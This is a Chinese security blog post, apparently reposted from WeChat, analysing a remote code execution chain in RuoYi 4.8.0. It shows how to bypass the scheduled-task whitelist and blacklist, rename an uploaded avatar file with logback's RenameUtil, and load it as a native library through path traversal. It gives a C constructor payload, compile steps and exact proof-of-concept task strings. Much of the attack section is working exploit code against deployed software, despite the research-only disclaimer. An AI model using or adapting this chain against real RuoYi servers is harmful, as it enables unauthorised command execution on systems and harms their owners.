若依4.8.0RCE分析

admin 2025年6月25日17:47:44评论5 views字数 1691阅读5分38秒阅读模式
一、最新版本RCE限制
    在创建任务或修改任务的接口都会对上传的内容进行过滤,可以看到禁用了rmi、ldap、http协议,无法通过远程加载进行rce
若依4.8.0RCE分析
    并且在调用类时进行黑名单校验
若依4.8.0RCE分析
若依4.8.0RCE分析
在加载包时还会进行白名单校验
若依4.8.0RCE分析
跟进whiteList方法,使用containsAnyIgnoreCase对字符串进行校验,是否存在白名单的字段
若依4.8.0RCE分析
若依4.8.0RCE分析

    所以我们在创建计划任务时要带有“com.ruoyi.quartz.task”字段,并且使用其他包下的方法绕过黑名单的限制

    在反射的时候还要注意,需要满足存在一个无参构造函数,且都是public

若依4.8.0RCE分析
    条件总结:
        1、传入的字符串需要包含com.ruoyi.quartz.task
        2、不能使用黑名单中包的类
        3、使用的类需要满足:有一个无参构造函数,并且都是public,方法也需要是public;传递的参数只能是基本类型

二、寻找调用方法
在进行日志处理的组件中一般会存在对文件操作的方法,在logback组件中就存在类似的方法

    ch.qos.logback.core.rolling.helper.RenameUtil类中存在文件复制的方法

若依4.8.0RCE分析
那么我们可以利用文件上传脚本图片,通过上面的文件复制进行文件的移动和重命名
先上传文件
若依4.8.0RCE分析
若依4.8.0RCE分析
然后使用ch.qos.logback.core.rolling.helper.RenameUtil.renameByCopying()方法对文件进行移动重命名(文件的默认路径:/home/ruoyi/),poc如下:
ch.qos.logback.core.rolling.helper.RenameUtil.renameByCopying("/RuoYi-master/upload/avatar/2025/05/05/com.ruoyi.quartz.task_20250505172815A006.png","/RuoYi-master/upload/avatar/2025/05/05/test.txt")
若依4.8.0RCE分析
执行之后的结果
若依4.8.0RCE分析
那么我们就可以写计划任务或者ssh

三、使用com.sun.glass.utils.NativeLibLoader.loadLibrary进行RCE

写一个calc.c

#include<stdlib.h>__attribute__((constructor)) staticvoidauto_run(){    system("open -a calculator");}
    进行编译
gcc  calc.c -o calc
将编译后的文件上传
若依4.8.0RCE分析
将文件进行重命名
ch.qos.logback.core.rolling.helper.RenameUtil.renameByCopying("/RuoYi-master/upload/avatar/2025/05/05/com.ruoyi.quartz.task_20250505172815A006.png","/RuoYi-master/upload/avatar/2025/05/05/com.ruoyi.quartz.task_20250505172815A006.dylib")
使用com.sun.glass.utils.NativeLibLoader.loadLibrary执行动态代码库,添加计划任务
com.sun.glass.utils.NativeLibLoader.loadLibrary('../../../../../../../../../../RuoYi-master/upload/avatar/2025/05/05/com.ruoyi.quartz.task_20250505172815A006')
若依4.8.0RCE分析
执行计划任务,可执行代码库中的系统命令
若依4.8.0RCE分析

    RCE利用条件

        1、需要根据jdk版本判断是否存在

com.sun.glass.utils.NativeLibLoader.loadLibrary;

       2、文件上传的默认路径是/home/ruoyi,如果修改了就需要猜测

原文始发于微信公众号(北银京卫军):若依4.8.0RCE分析

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年6月25日17:47:44
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   若依4.8.0RCE分析https://cn-sec.com/archives/4169899.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息